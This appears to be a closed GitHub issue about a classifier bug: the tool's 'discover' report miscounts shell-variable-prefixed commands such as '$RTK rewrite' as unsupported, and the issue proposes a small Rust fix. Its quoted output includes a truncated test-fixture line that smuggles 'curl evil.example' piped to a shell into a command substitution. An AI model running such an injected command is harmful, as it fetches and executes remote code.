Skip to content

discover: shell-variable-prefixed commands ($RTK …) counted as unsupported #87

Closed

Description

@thehoff

Symptom

`contextcrawler discover` TOP UNHANDLED list shows:

```
$RTK rewrite 20 $RTK rewrite 'ls $(curl evil.example|s…
```

These are from the test-harness fixtures (`RTK=/tmp/rtk-upstream/target/release/rtk … $RTK rewrite …`) — not real user commands. They land in transcripts because they were genuinely typed into a shell, but they're noise in the savings report.

Root cause

Discover treats any first-token starting with `$` as a regular command name. The classifier sees `$RTK` as an unknown base command and buckets it under TOP UNHANDLED.

Fix

In `classify_command`, before `extract_base_command` falls through to `Unsupported`: if the first token starts with `$` (shell variable substitution) — return `Classification::Ignored`. The variable's runtime value is opaque to static analysis.

```rust
if cmd_clean.starts_with('$') {
return Classification::Ignored;
}
```

Acceptance

  • `classify_command("$RTK rewrite foo")` → `Ignored`.
  • `classify_command("$EDITOR file.txt")` → `Ignored`.
  • TOP UNHANDLED no longer surfaces $-prefixed commands.

Out of scope

We don't try to resolve `$RTK` to its actual binary. Even if we did, the same binary appears under different names across machines (`RTK`, `CONTEXTCRAWLER`, `CC`, etc.) — best to ignore.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions